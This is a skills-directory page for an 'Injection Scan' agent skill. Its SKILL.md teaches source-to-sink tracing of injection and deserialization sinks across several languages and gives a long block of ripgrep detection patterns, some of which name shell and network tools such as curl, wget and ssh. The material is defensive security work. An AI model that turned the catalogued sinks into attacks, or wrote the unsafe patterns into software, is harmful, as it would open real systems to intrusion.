Skip to content
Back to skills

Injection Scan

DSecurity

Source-to-sink taint trace for every interpreter sink — SQL/NoSQL, OS command, code eval, template (SSTI), XML (XXE), LDAP/XPath, header/log injection, unsafe deserialization, prototype pollution, ReDoS, CSV/spreadsheet formula injection. Every finding cites the sink, the tainted source and the fix.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added October 20, 2026
developmentpythonrustgojavarubyphpkotlinshellbashsql

Works with

  • cursor
  • cli
  • api

Security analysis

D44/100
  • criticalPipes output to a shell interpreter
  • criticalAccesses sensitive system or user directories
  • highPerforms destructive filesystem operations
  • highCreates or modifies cron jobs for persistent execution
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned October 20, 2026

npx -y skills add adnanmokhtar/refract --skill injection-scan --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Injection Scan?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Injection Scan
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/adnanmokhtar-injection-scan/badge)](https://www.skillsdirectory.com/skills/adnanmokhtar-injection-scan)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: injection-scan
description: Source-to-sink taint trace for every interpreter sink — SQL/NoSQL, OS command, code eval, template (SSTI), XML (XXE), LDAP/XPath, header/log injection, unsafe deserialization, prototype pollution, ReDoS, CSV/spreadsheet formula injection. Every finding cites the sink, the tainted source and the fix.
kind: skill
pack: security
allowed-tools: [Read, Grep, Glob, Bash]
---

# Skill: injection-scan

## Premise

Injection is one bug in fifteen costumes: data an attacker controls crosses into an interpreter — a SQL engine, a shell, an `eval`, a template engine, an XML parser, a deserializer, the JS object model, a regex engine, a spreadsheet's formula engine — and is read as **code instead of data**. OWASP files most of it under **A05:2025 Injection**, deserialization and prototype pollution under **A08:2025 Software or Data Integrity Failures**, and ReDoS under **A10:2025 Mishandling of Exceptional Conditions** (resource exhaustion) — the placement `@security-auditor` already uses. This skill is the executor behind those rows: the A05 depth pass minus XSS, plus A08 deserialization, as `/security-audit` dispatches it.

**Every finding cites the sink at `<file:line>` + the tainted source it traces back to + the concrete fix.** A grep hit is never a finding by itself, and "no injection found" is never printed without the class-coverage block (§ Output) that proves where the run looked.

## The taint rule

A sink is a finding when a **tainted value reaches it without passing a breaker**. Trace backwards from the sink — through assignments, helper calls, services and module boundaries — until you reach a source or a constant.

**Sources — tainted until proven otherwise:**
- **The HTTP request** — body, query string, path params, headers (`Host`, `X-Forwarded-*`, `User-Agent`, `Referer` included), cookies, multipart fields, uploaded files (content *and* filename, MIME type, archive entry names, image/document metadata).
- **Asynchronous input** — message-queue and job payloads (SQS, Kafka, RabbitMQ, Pub/Sub, Celery, Sidekiq, BullMQ), webhook bodies (**a valid signature proves who sent it, not that the content is safe**), inbound email, WebSocket frames.
- **Stored user data (second-order)** — a value stored safely yesterday and concatenated today: a display name, a saved filter, a report definition, a rule row a rules engine evaluates. Trace the column to whoever writes it; a user-writable column is a source.
- **Other systems** — third-party API responses, files in user-writable storage, CSV/XLSX imports.
- **LLM output** — completions and tool-call arguments are attacker-steerable through prompt injection. Model text reaching any sink below is a finding here, at the sink; the output-handling judgment belongs to `@llm-security-reviewer` § "LLM10 Improper Output Handling" — hand the chain there. When `llm-trust-scan` ran first, its `completion-sources.txt` (§3s, `<file:line>` of every completion, tool-call argument and model message read) is a source list: trace each one forward to this skill's sinks, and grade the sink here (OH-3/OH-4, SQL, shell and eval sinks); `llm-trust-scan` lists the count only.

**Breakers — the only things that end the taint:**
- The interpreter's **data channel**: bind parameters, an argv array with no shell, a safe loader, a hardened parser, a fixed template rendered with the value as *context*.
- A **closed type**: parsed to an integer / UUID / boolean / date with failure rejected, or schema-validated to an `enum`.
- An **allow-list map** to a server-side constant: `({ name: 'u.name', created: 'u.created_at' })[input] ?? 'u.id'`.

**Not breakers:** escaping or quoting helpers (`mysql_real_escape_string`, `addslashes`, `replace("'", "''")`, `escapeshellarg`, `shlex.quote`), deny-lists and regex strips (`replace(/;|--/g, '')`), a WAF, client-side validation, a validator that checks presence/length/`IsString` only, and "we use an ORM" — every ORM in the lane table has a raw escape hatch.

**Escaping is not the fix.** It is context-bound (a quoted literal, a number, an identifier, a `LIKE` pattern and a shell word each need different rules — and a numeric or identifier position has no quotes to escape), charset-bound (multibyte bypasses of `addslashes`), and survives only as long as every future edit keeps the call. Shell quoting stops metacharacters but not argument injection (§5). An escaped sink is still reported — one severity step lower, tagged `[report-flagged]` (the unproven link is whether the escape holds in this context), with the binding / argv / allow-list fix. The one exception is §9: LDAP has no bind API, so the library's filter encoder *is* the data channel.

## Boundaries

This skill does not re-derive classes another skill owns; it cross-links them:
- **Mass assignment / over-posting** (CWE-915) — `@api-security-reviewer` § "API3 — Broken Object Property Level Authorization (BOPLA)". Here only when the same request keys reach a SQL identifier position (§2) or a deep merge (§12).
- **XSS and every browser sink** → `xss-scan`. **SSRF and open redirect** (the `Location` header's target) → `ssrf-scan`. **Path traversal, zip-slip, upload handling** → `file-access-scan`. **A vulnerable library version** (Log4j, lodash, ejs, SnakeYAML) → `deps-audit`. **Secrets / PII written to logs** (CWE-532) → `data-exposure-scan`.

## Adapt to the codebase

Detect the lanes from the manifests (`package.json`, `pyproject.toml` / `requirements*.txt`, `go.mod`, `pom.xml` / `build.gradle*`, `Gemfile`, `composer.json`, `*.csproj`) and the pre-flight lane count, run the matching rows, and **print the lanes you ran** in the output header. Read the ORM and driver off the dependency list before applying a row — the escape hatches are per library, and a row applied to the wrong ORM greps for calls the code never makes.

| Lane | SQL escape hatches | Process / eval / template sinks | Parser / deserializer sinks | Safe primitive the fix names |
|---|---|---|---|---|
| **Node / TS** (Express, NestJS, Fastify) | `$queryRawUnsafe`, `Prisma.raw`, `sequelize.query` / `literal`, `knex.raw` / `*Raw`, TypeORM `query()` and QB `` .where(`${}`) ``, MikroORM `em.execute` / `getConnection().execute` / `raw()` / QB `.where(string)`, `sql.raw` / `sql.unsafe` | `child_process.exec*`, `shell: true`, `eval`, `new Function`, `vm`, Handlebars / EJS / Pug / Nunjucks / `_.template` | `libxmljs` `noent`, `node-serialize`, `_.merge` / `_.set` | tagged templates (`` sql`…` ``, `` prisma.$queryRaw`…` ``), `$1` / `?` + values, `execFile` / `spawn` argv |
| **Python** (Django, FastAPI, Flask) | `objects.raw`, `.extra`, `RawSQL`, `cursor.execute(f"…")`, SQLAlchemy `text(f"…")` | `shell=True`, `os.system` / `popen`, `eval` / `exec`, `render_template_string`, `jinja2.Template(user)` | `pickle`, `yaml.load`, `marshal`, `lxml` `resolve_entities` | `execute(sql, params)`, `text(":x")` + params, `subprocess.run([...])`, `yaml.safe_load`, `defusedxml` |
| **Go** | `db.Query(fmt.Sprintf…)`, GORM `.Where` / `.Order` / `.Raw` with concat | `exec.Command("sh", "-c", …)`, `text/template` `.Parse(user)` | rarely any — `encoding/xml` resolves no external entities; `encoding/json` / `gob` build no arbitrary types | `db.Query(q, args...)`, `exec.Command(bin, args...)` |
| **Java / Kotlin** (Spring) | JPA `createQuery` / `createNativeQuery` concat, `JdbcTemplate` concat, `Statement`, MyBatis `${}` | `Runtime.exec`, `ProcessBuilder`, SpEL / OGNL / MVEL, Velocity / FreeMarker / Thymeleaf | `DocumentBuilderFactory` & co, `ObjectInputStream`, `XStream`, Jackson default typing | `PreparedStatement`, `:named` params, MyBatis `#{}`, `ProcessBuilder(List)`, `ObjectInputFilter` |
| **Ruby / Rails** | `where("…#{}")`, `order(params[…])`, `find_by_sql`, `Arel.sql`, `connection.execute` | backticks, `%x`, `system(string)`, `eval`, `send`, `constantize`, `ERB.new`, `render inline:` | `Marshal.load`, `YAML.unsafe_load`, Nokogiri `noent` | `where(col: v)`, `where("a = ?", v)`, `system(bin, *args)` |
| **PHP / Laravel** | `DB::raw` / `select` / `statement`, `*Raw()`, `orderBy($request…)`, `$pdo->query("…$x")` | `exec` / `system` / `shell_exec` / `passthru` / `proc_open`, backticks, `eval`, `assert` | `unserialize`, `LIBXML_NOENT`, Twig `createTemplate` | `?` / `:named` bindings, `proc_open([...])` array form, `json_decode` |
| **.NET** | `FromSqlRaw`, `ExecuteSqlRaw`, `SqlCommand("…" + x)` | `Process.Start("cmd.exe", "/c …")` | `BinaryFormatter`, `TypeNameHandling` ≠ `None`, `DtdProcessing.Parse` | `FromSqlInterpolated`, `SqlParameter`, `ProcessStartInfo.ArgumentList`, `System.Text.Json` |

## Pre-flight greps

Run these first — they produce the candidate set the detectors judge. Grep **N** feeds detector **§N**. Run the block as **one** script from the repo root (shell state does not survive between tool calls, so `X`, `NC` and `SQL` must be defined in the same invocation). Every command names its path (`.`): `rg` given no path searches **stdin** whenever stdin is a pipe — under an agent's shell that is a silent zero-hit run, the false clean this skill exists to prevent. Lane absence comes from the manifests and the lane count the block prints first, **never from a quiet grep**: with an explicit path, ripgrep exits 1 silently when a type filter matches no file — `No files were searched` prints only when rg walks an implicit directory.

```bash
# Not sinks: generated/vendored/static code, tests, migrations, catalogs, docs, prior audit output.
X=(-g '!**/node_modules/**' -g '!**/vendor/**' -g '!**/dist/**' -g '!**/build/**' -g '!**/target/**' -g '!**/.venv/**'
   -g '!**/*.min.*' -g '!**/public/**/*.js' -g '!**/static/**/*.js' -g '!*.{md,mdx,sql,json,snap,lock}' -g '!**/docs/**'
   -g '!**/{test,tests,spec,e2e,__tests__,__mocks__,__snapshots__,__fixtures__,testdata}/**' -g '!**/*{.,_}{test,spec}.*'
   -g '!**/test_*.py' -g '!**/migrations/**' -g '!**/db/migrate/**' -g '!**/{locales,locale,i18n,translations}/**' -g '!/ai/{audits,design}/**')
NC=(rg -v --pcre2 '^[^:]+:\d+:\s*(//|/\*|\*(\s|/|$)|#(?!\{)|<!--)')        # drops comment-only lines; every -n grep ends in it
SQL='(?i:\bselect\b.{0,120}\bfrom\b|\binsert\s+into\b|\bupdate\s+\S+\s+set\b|\bdelete\s+from\b|\b(order|group)\s+by\b|\bwhere\s+[\w.]+\s*(=|<|>|like\b|in\b))|\b(WHERE|AND|OR|LIMIT|OFFSET|VALUES)\b|\s(=|<>|!=)\s+(?=\x27%?(\$\{|#\{|\{\$))'
for t in js ts py go java kotlin ruby php cs; do printf '%-7s %s\n' "$t" "$(rg --files -t "$t" "${X[@]}" . | wc -l)"; done   # 0 = lane absent

# 1. SQL text built from strings — concat / interpolation after (1a) or a format call before (1b); dynamic SQL inside
#    stored procedures (1c); the raw escape hatch per lane (1d); a JS/TS template holding SQL and ${} on different lines (1e).
rg -n --pcre2 "($SQL)"'.*(\$\{|#\{|\{\$|["\x27\x60]\s*[+.]\s*[\w$(]|["\x27](\s*%\s+|\s+%\s*)[\w(]|["\x27]\s*%\s*\(|\.format\()|\bI?LIKE\s+["\x27]%?(\$\{|#\{|\{\$|["\x27]\s*[+.])' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '(\bf["\x27]|\$@?"|\b[Ss]printf\(\s*["\x60]|String\.format\(\s*")'".*($SQL)" "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 -i '\b(execute|exec|sp_executesql|prepare\s+\w+\s+from)\b.*(\|\||\+\s*@|concat\s*\(|format\s*\([^)]*%s)' -g '*.sql' -g '!**/node_modules/**' . | "${NC[@]}"
rg -n --pcre2 '(\$(queryRawUnsafe|executeRawUnsafe)|Prisma\.raw|\bsql\.(raw|unsafe)|\b[sS]equelize\.(query|literal)|\bknex\.raw|\.\w+Raw)\((?!\s*(["\x27][^"\x27]*["\x27]|\x60[^\x60$]*\x60)\s*[,)])|\.(query|where|andWhere|orWhere|having|orderBy|addOrderBy|groupBy|select|addSelect)\(\s*(\x60[^\x60]*\$\{|["\x27][^"\x27]*["\x27]\s*\+)' -t js -t ts "${X[@]}" . | "${NC[@]}"
rg -n -U --pcre2 '(\b(em|orm|knex|trx|tx|conn|connection|driver|entityManager|manager)|getConnection\([^)]*\)|getKnex\(\))\s*\.\s*(execute|raw)\s*(<[^()]*>)?\((?!\s*\)|\s*("[^"\n]*"|\x27[^\x27\n]*\x27|\x60[^\x60$]*\x60)\s*[,)])|(?<![.\w$])raw\((?!\s*\)|\s*("[^"\n]*"|\x27[^\x27\n]*\x27|\x60[^\x60$]*\x60)\s*[,)]|\s*\(?\s*(?<a>\w+)\s*\)?\s*=>\s*\x60(?:[^\x60$]|\$(?!\{)|\$\{\s*\k<a>\s*\})*\x60)' -t js -t ts "${X[@]}" . | "${NC[@]}"   # MikroORM / knex
rg -n --pcre2 '\bobjects\.raw\(|\.extra\(\s*(select|where|tables|order_by)\s*=|\bRawSQL\(|(?<![.\w])(text|literal_column)\(\s*(f["\x27]|\w+\s*[,)]|["\x27][^"\x27]*["\x27]\s*[%+])|\.execute(many)?\(\s*(f["\x27]|\w+\s*[,)]|["\x27][^"\x27]*["\x27]\s*(%|\+|\.format))' -t py "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\.(Query|QueryRow|QueryContext|QueryRowContext|Exec|ExecContext|Raw|Where|Order|Group|Having|Joins|Select)\(\s*(ctx,\s*)?(fmt\.Sprintf|"[^"]*"\s*\+|[a-z]\w*\s*[)+])' -t go "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\b(createNativeQuery|createQuery|createSQLQuery|sqlRestriction|executeQuery|executeUpdate|addBatch|prepareStatement|query|queryForObject|queryForList|queryForMap|update|batchUpdate)\(\s*("[^"]*"\s*\+|[a-z]\w*\s*[)+,]|String\.format)|\bcreateStatement\(\)|@(Select|Update|Insert|Delete)\([^)]*\$\{' -t java -t kotlin "${X[@]}" . | "${NC[@]}"
rg -n '\$\{' -g '*[Mm]apper*.xml' "${X[@]}" . | "${NC[@]}"                 # MyBatis ${} is spliced, #{} is bound
rg -n --pcre2 '\.(where|order|reorder|group|having|joins|select|pluck|from|lock|find_by_sql|exists\?|update_all|delete_all|calculate)\(\s*("[^"]*#\{|params\[|params\.)|\bfind_by_sql\(|\bArel\.sql\(|\bconnection\.(execute|exec_query|select_all|select_value|select_rows)\(' -t ruby "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '(DB::(raw|select|statement|unprepared)|->\w+Raw)\((?!\s*["\x27][^"\x27$]*["\x27]\s*[,)])|->(orderBy|groupBy|where|select|having)\(\s*\$request|->(query|exec|prepare)\(\s*("[^"]*\$|\$\w+\s*\.|["\x27][^"\x27]*["\x27]\s*\.)|\bmysqli?_query\(' -t php "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\b(FromSqlRaw|ExecuteSqlRaw|ExecuteSqlRawAsync|SqlQueryRaw)\(|new\s+\w*Command\(\s*(\$"|"[^"]*"\s*\+)|\.CommandText\s*=\s*(\$"|"[^"]*"\s*\+)' -t cs "${X[@]}" . | "${NC[@]}"
rg -n -U --pcre2 '(?<![\w$])(?<![\w\]]>)\x60(?=[^\x60]*\$\{)(?=[^\x60]*?(?i:\bselect\b[^\x60]{0,400}?\bfrom\b|\binsert\s+into\b|\bupdate\s+["\w.]+\s+set\b|\bdelete\s+from\b|\b(order|group)\s+by\b|\bwhere\s+[\w."]+\s*(=|<|>|like\b|in\b|is\b)))' -t js -t ts "${X[@]}" . | "${NC[@]}"

# 2. Identifiers from input (2a); an identifier interpolated beside a bound placeholder or after a SQL keyword (2b);
#    a migration runner reachable outside the CLI, which puts the excluded migrations back in scope (2c).
#    2a reads the field through an accessor (`.sort`, `['sort']`, `[:sort]`, `('sort')`, `.get('sort')`), never across
#    `params: [order.id…]` or `request.body = fields`; browser code builds query strings, not SQL, so it is left out.
rg -n --pcre2 '(?i)(\b(req|request)\.(query|body|params|args|GET|POST|query_params|data|form)|\bparams|\$request->(input|get|query)|\$_(GET|POST|REQUEST)|getParameter|\bc\.(Query|Param)|Query\(\)\.Get|searchParams)(\??\.(get\(\s*["\x27])?|\[\s*["\x27:]|\(\s*["\x27]|->)(sort|sort_?by|order|order_?by|dir|direction|column|col|field|fields|table|table_?name|group_?by)\b' "${X[@]}" -g '!**/*.{tsx,jsx,vue,svelte}' -g '!**/{web,frontend,client}/src/**' . | "${NC[@]}"
rg -n --pcre2 '(\$\{\w+\}|\{\w+\}|#\{\w+\}|["\x27]\s*\+\s*\w+\s*\+\s*["\x27])\s*(=|<|>|(?i:like|in))\s*(\$\d|\$\$\{|\?|%s|:\w|@\w)|(?i:order\s+by|group\s+by|\bselect\b[^\n]*\bfrom|\bdelete\s+from|\binsert\s+into|\bjoin|\bupdate|\b(create|alter|drop|truncate|lock)\s+table)\s+["\x27]?\s*(\$\{|\{\w|#\{|%s|["\x27]\s*\+)' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\bgetMigrator\(\)\s*\.\s*(up|down)\(|\bmigrate\.(latest|up)\(|\brunMigrations\(|\bcall_command\(\s*["\x27]migrate|\bcommand\.upgrade\(|\bMigrator\(\)\.(up|run)\(' "${X[@]}" . | "${NC[@]}"

# 3. NoSQL — a request object as a filter, server-side JS operators, user-supplied $regex (3a); decorator-bound
#    parameters a validation pipe never validates (a primitive metatype) and DTO properties that survive whitelist (3b).
rg -n --pcre2 '\$where|\$function|\$accumulator|\bmapReduce\(|(\.|->)(find|findOne|find_one|findOneAndUpdate|findOneAndDelete|updateOne|updateMany|deleteOne|deleteMany|countDocuments|count_documents|aggregate|where)\(\s*(req\.(body|query|params)|request\.(json|get_json\(\)|args|form|data)|params\b|\$_(GET|POST|REQUEST))|\{[^}\n]*:\s*(req\.(body|query|params)|request\.json|params)\b[\w.\[\]"\x27]*\s*[},]' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '@(Body|Query)\(\s*["\x27][\w.-]+["\x27]\s*\)\s*\w+\??\s*:\s*(string|number|boolean|any|unknown)\b|@(Allow|IsObject)\(\)' -t ts "${X[@]}" . | "${NC[@]}"

# 4. Shell-interpreted command sinks (4a); shell backticks in Ruby/PHP/sh (4b); a command-line string that
#    interpolates, whatever runs it (4c); files importing a process API — read every call in them (4d).
rg -n --pcre2 '(?<![.\w>:$])(exec|execSync|popen|system|passthru|shell_exec|proc_open|pcntl_exec)\(|\b(child_process|cp)\.(exec|execSync)\(|\bshell\s*[:=]\s*(true|True)\b|\bos\.(system|popen|exec[lv]p?e?)\(|\b(commands|subprocess)\.getoutput\(|Runtime\.getRuntime\(\)\.exec\(|\bspawn\w*\(\s*["\x27](sh|bash|cmd|cmd\.exe|powershell)["\x27]|exec\.Command(Context)?\([^)]*"(sh|bash|cmd|powershell)"|%x[{(\[]|\b(IO\.popen|Open3\.\w+|Kernel\.(system|exec|spawn))\(|\bProcess\.Start\(' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\x60[^\x60\n]*(#\{|\$\w|\$\{)[^\x60\n]*\x60' -t ruby -t php -t sh -g '!*.blade.php' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '["\x27\x60](convert|magick|identify|ffmpeg|ffprobe|gs|git|curl|wget|tar|zip|unzip|7z|rm|cp|mv|ls|cat|ping|nslookup|dig|sh|bash|openssl|pdftk|qpdf|wkhtmltopdf|soffice|libreoffice|pandoc|exiftool|mysqldump|pg_dump|psql|mysql|rsync|ssh|scp|chmod|chown|mkdir|find|grep|sed|awk|docker|kubectl)\s[^\n]*?(\$\{|#\{|\{\w*\}|%s|["\x27\x60]\s*[+.]\s*[\w$(])' "${X[@]}" . | "${NC[@]}"
rg -ln --pcre2 '(from\s+|require\(\s*)["\x27](node:)?child_process["\x27]|\b(execa|shelljs|zx)\b["\x27]|^\s*(import\s+subprocess|from\s+subprocess\s+import)|"os/exec"|\bProcessBuilder\b|\bOpen3\b|\bSymfony\\Component\\Process\b' "${X[@]}" .

# 5. Option-parsing binaries spawned with an argv (5a); escaping helpers to read for argument injection (5b).
rg -n --pcre2 '[(=]\s*\[?\s*["\x27](git|hg|svn|ffmpeg|ffprobe|convert|magick|identify|gs|curl|wget|tar|zip|unzip|7z|rsync|ssh|scp|psql|mysql|mysqldump|pg_dump|find|sendmail|grep|openssl|soffice|libreoffice|pandoc|wkhtmltopdf|yt-dlp|youtube-dl)["\x27]\s*,' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\b(escapeshellarg|escapeshellcmd|shlex\.quote|shellescape|Shellwords\.escape)\(' "${X[@]}" . | "${NC[@]}"

# 6. Code evaluation, dynamic code loading, expression languages, reflective dispatch.
rg -n --pcre2 '(?<![.\w>:$])(eval|exec|execfile|compile)\s*\(\s*[^)\s]|(?<![.\w>:$])(require|import)\(\s*(?![)"\x27\x60])[\w$]|\bnew\s+Function\s*\(|\bvm\.(runIn\w+|Script|compileFunction)\b|\bset(Timeout|Interval)\(\s*["\x27\x60]|\b(instance_eval|class_eval|module_eval|instance_exec)\b|\.(send|public_send|__send__)\(\s*params|\b(constantize|safe_constantize|const_get)\b|(?<![.\w>])assert\s*\(\s*\$|\bcreate_function\(|preg_replace\(\s*["\x27]/[^/]*/[a-zA-Z]*e|\b(SpelExpressionParser|parseExpression|ScriptEngineManager|GroovyShell|Ognl\.\w+|MVEL\.\w+|ELProcessor|createValueExpression)\b|\b(getattr|__import__|importlib\.import_module)\(\s*[\w.]+\s*,\s*[^,)\n]*\b(request|params|args|data)\b' "${X[@]}" . | "${NC[@]}"

# 7. A template compiled from a string (7a); Spring view names built from input + Thymeleaf preprocessing (7b);
#    hand-rolled {{var}} substitution through String.replace with a string replacement (7c). 7a's last filter drops a
#    METHOD named template / createTemplate (its declaration line); `createTemplate(` counts only on an engine object.
rg -n --pcre2 '\brender_template_string\(|(?<![.\w])[Tt]emplate\(\s*(?!["\x27])\w|\.from_string\(|\b(Handlebars|handlebars|hbs|Mustache|mustache|ejs|pug|jade|nunjucks|swig|doT|_|lodash)\.(compile|render|renderString|template)\((?!\s*["\x27])|\bres\.render\(\s*["\x27][^"\x27]+["\x27]\s*,\s*req\.(query|body|params)\b|\b\w*([Ee]ngine|[Gg]roovy|[Vv]elocity|[Ff]reemarker|[Cc]fg|[Cc]onfiguration)\w*(\(\))?\.(createTemplate|getTemplate)\(|\bVelocity(Engine)?\b.*\.evaluate\(|\bnew\s+Template\([^)]*StringReader|\bERB\.new\(|\bLiquid::Template\.parse\(|\brender\s*\(?\s*inline:|\btemplate\.New\([^)]*\)\.Parse\(|\bBlade::render\(' "${X[@]}" . | "${NC[@]}" \
  | rg -v --pcre2 '^[^:]+:\d+:\s*((export|public|private|protected|static|async|override|abstract|readonly|def|function)\s+)*\w*[Tt]emplate\s*\([^)]*\)?\s*(:\s*[\w<>\[\], |]+)?\s*[{;]?\s*$|^[^:]+:\d+:\s*((export|public|private|protected|static|async|override|abstract|readonly)\s+)*\w*[Tt]emplate\s*\(\s*$'
rg -n --pcre2 '\breturn\s+"[^"]*"\s*\+\s*\w' -g '*Controller.java' -g '*Controller.kt' "${X[@]}" . | "${NC[@]}"; rg -n '__\$\{' -t html "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\.replace(All)?\(\s*/[^/\n]*\\?\{\\?\{[^/\n]*/[gimsuy]*\s*,\s*(?!\(|function\b|async\b|\w+\s*=>|["\x27\x60][^"\x27\x60$]*["\x27\x60]\s*\))' -t js -t ts "${X[@]}" . | "${NC[@]}"

# 8. XML parsers (8a), entity-enabling flags (8b), files that harden a parser (8c).
#    8a minus 8c is the "parser with unsafe defaults" set; any 8b hit is a candidate on its own.
rg -n --pcre2 '\b(DocumentBuilderFactory|SAXParserFactory|XMLInputFactory|TransformerFactory|SchemaFactory|SAXReader|SAXBuilder|XMLReaderFactory|XMLDecoder|Unmarshaller)\b|\betree\.(XMLParser|parse|fromstring|XML)\(|\bxml\.(dom|sax)\b|\blibxmljs\b|\bparseXml(String)?\(|\bsimplexml_load_(string|file)\(|->loadXML\(|\b(XmlDocument|XmlReaderSettings|XmlTextReader)\b|\bNokogiri::XML\b|\bREXML::Document\b|\bLibXML::XML\b|\b(node-saml|passport-saml|python3-saml|pysaml2|ruby-saml|php-saml|opensaml)\b' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\bresolve_entities\s*=\s*True|\bno_network\s*=\s*False|\bnoent\s*:\s*true|\bLIBXML_(NOENT|DTDLOAD)\b|\bDtdProcessing\.Parse\b|\.(noent|dtdload)\b|\bXmlResolver\s*=\s*new' "${X[@]}" . | "${NC[@]}"
rg -ln --pcre2 'disallow-doctype-decl|external-(general|parameter)-entities|FEATURE_SECURE_PROCESSING|ACCESS_EXTERNAL_(DTD|SCHEMA)|setExpandEntityReferences\(false\)|SUPPORT_DTD|defusedxml|resolve_entities\s*=\s*False|DtdProcessing\.Prohibit|XmlResolver\s*=\s*null' "${X[@]}" .

# 9. LDAP filters and XPath expressions assembled from strings.
rg -n --pcre2 '\((uid|cn|sAMAccountName|mail|userPrincipalName|memberOf|ou|objectClass|givenName|sn)\s*=[^)\n]*(["\x27]\s*[+.]\s*[\w$]|\$\{|#\{|%s|\{\w*\})|\b(xpath|XPath|selectNodes|selectSingleNode|evaluate|compile)\([^)\n]*(["\x27]\s*[+.]\s*[\w$]|\$\{|#\{|f["\x27]|["\x27]\s*%)' "${X[@]}" . | "${NC[@]}"

# 10. Header / cookie values that are not one constant (10a); log lines that interpolate input (10b).
rg -n --pcre2 '\b(setHeader|addHeader|setCookie|add_header|header|cookie|Header\(\)\.(Set|Add))\(\s*["\x27][\w-]+["\x27]\s*,(?!\s*["\x27][^"\x27$]*["\x27]\s*[,)])|\bheader\(\s*["\x27][^"\x27]*(["\x27]\s*\.|\$)|\.headers\[\s*["\x27][\w-]+["\x27]\s*\]\s*=(?!\s*["\x27][^"\x27]*["\x27]\s*;?\s*$)' "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\b(log|logger|logging|console|Log|LOG|[A-Z]\w*\.logger|slog|winston|pino)(\.|::)(\w+\.)?(info|warn|warning|error|debug|log|trace|fatal|critical|Printf|Println|Info|Warn|Error)\w*\s*\(?[^\n]*(\$\{|#\{|["\x27]\s*[+.]\s*[\w$]|["\x27]\s*%\s*[\w(]|\bf["\x27]|%s|\{\})[^\n]*\b(req|request|params|body|query|headers|form|getParameter|FormValue|username|user_?agent|email|\$_(GET|POST))\b' "${X[@]}" . | "${NC[@]}"

# 11. Deserializers that rebuild arbitrary types.
rg -n --pcre2 '\b(pickle|cPickle|_pickle|dill|jsonpickle|shelve|marshal)\.(loads?|Unpickler|decode|open)\b|\bjoblib\.load\(|\bpd\.read_pickle\(|\btorch\.load\(|allow_pickle\s*=\s*True|\byaml\.(load|load_all|unsafe_load|full_load)\(|\bYAML\.(load|unsafe_load|load_file)\b|\bPsych\.unsafe_load\b|\bMarshal\.load\b|\bObjectInputStream\b|\bXMLDecoder\b|\bXStream\b|\b(enableDefaultTyping|activateDefaultTyping)\(|JsonTypeInfo\.Id\.(CLASS|MINIMAL_CLASS)|\bnew\s+Yaml\(\s*\)|(?<![.\w])unserialize\(|\bnode-serialize\b|\bserialize\.unserialize\(|\b(BinaryFormatter|NetDataContractSerializer|LosFormatter|SoapFormatter|ObjectStateFormatter)\b|TypeNameHandling\.(All|Auto|Objects|Arrays)|\bphar://' "${X[@]}" . | "${NC[@]}"

# 12. Deep merge / path-set of request JSON (12a); hand-written recursive merges to read (12b) — lower-case, non-hook names.
rg -n --pcre2 '\b(_|lodash)\.(merge|mergeWith|defaultsDeep|set|setWith|zipObjectDeep)\(|\b(deepmerge|deepMerge|deep_merge|mergeDeep|deepExtend|extendDeep|assignDeep|setPath|dset|unflatten)\(|\b(dotProp|objectPath|dot)\.set\(|\$\.extend\(\s*true|\bObject\.assign\(\s*[\w{}]+\s*,[^)\n]*\b(req\.(body|query)|JSON\.parse)|\w+\[\s*[\w.]{3,}\s*\]\[\s*[\w.]{3,}\s*\]\s*=(?!=)' -t js -t ts "${X[@]}" . | "${NC[@]}"
rg -n --pcre2 '\bfunction\s+(?![A-Z]|use[A-Z])\w*([mM]erge|[eE]xtend|[cC]lone|[dD]eepAssign|[aA]ssign(Deep|In|With)\b)\w*\s*\(|\bfunction\s+assign\s*\(|^\s*((private|public|protected|static|async)\s+)*\w*([mM]erge|[eE]xtend|[cC]lone)\w*\s*\([^)]*\)\s*(:[^{=]*)?\{|function\s+(set|setPath|setValue|setIn|setDeep)\s*\(|\b(const|let)\s+\w*(merge|Merge|extend|Extend)\w*\s*=\s*(async\s*)?\(' -t js -t ts "${X[@]}" . | "${NC[@]}"

# 13. Regex built from input, incl. an implicit compile by .match/.matchAll (13a); nested quantifiers (13b); every
#     constant JS/TS regex through recheck, which also finds polynomial ReDoS (13c). Go/RE2 engines are linear.
#     13c needs recheck@4 already installed (the audit never installs it). Absent, it prints NOT-RUN and a heuristic over the same extract instead:
#     adjacent quantifiers and two `.*` — a read list, never a verdict; the class is `partial` in the coverage block.
rg -n --pcre2 '\bnew\s+RegExp\((?!\s*["\x27/])|(?<![.\w])RegExp\(\s*(?!["\x27/])\w|\bre\.(compile|match|search|fullmatch|sub|subn|findall|finditer|split)\(\s*(?![rbuf]*["\x27])\w|\bnew\s+Regex\(\s*(?!@?")\w|\bRegex\.(Match|IsMatch|Replace|Matches)\(\s*\w+\s*,\s*(?!@?")\w|\bPattern\.(compile|matches)\(\s*(?!")\w|\bRegexp\.new\((?!\s*["\x27/])|\bpreg_\w+\(\s*["\x27][^"\x27]*["\x27]\s*\.\s*\$|\$regex|\.(match|matchAll)\(\s*(?![/"\x27\x60)]|[A-Z][A-Z0-9_]*\b|new\s+RegExp)[\w$.]+\s*\)' "${X[@]}" . | "${NC[@]}"
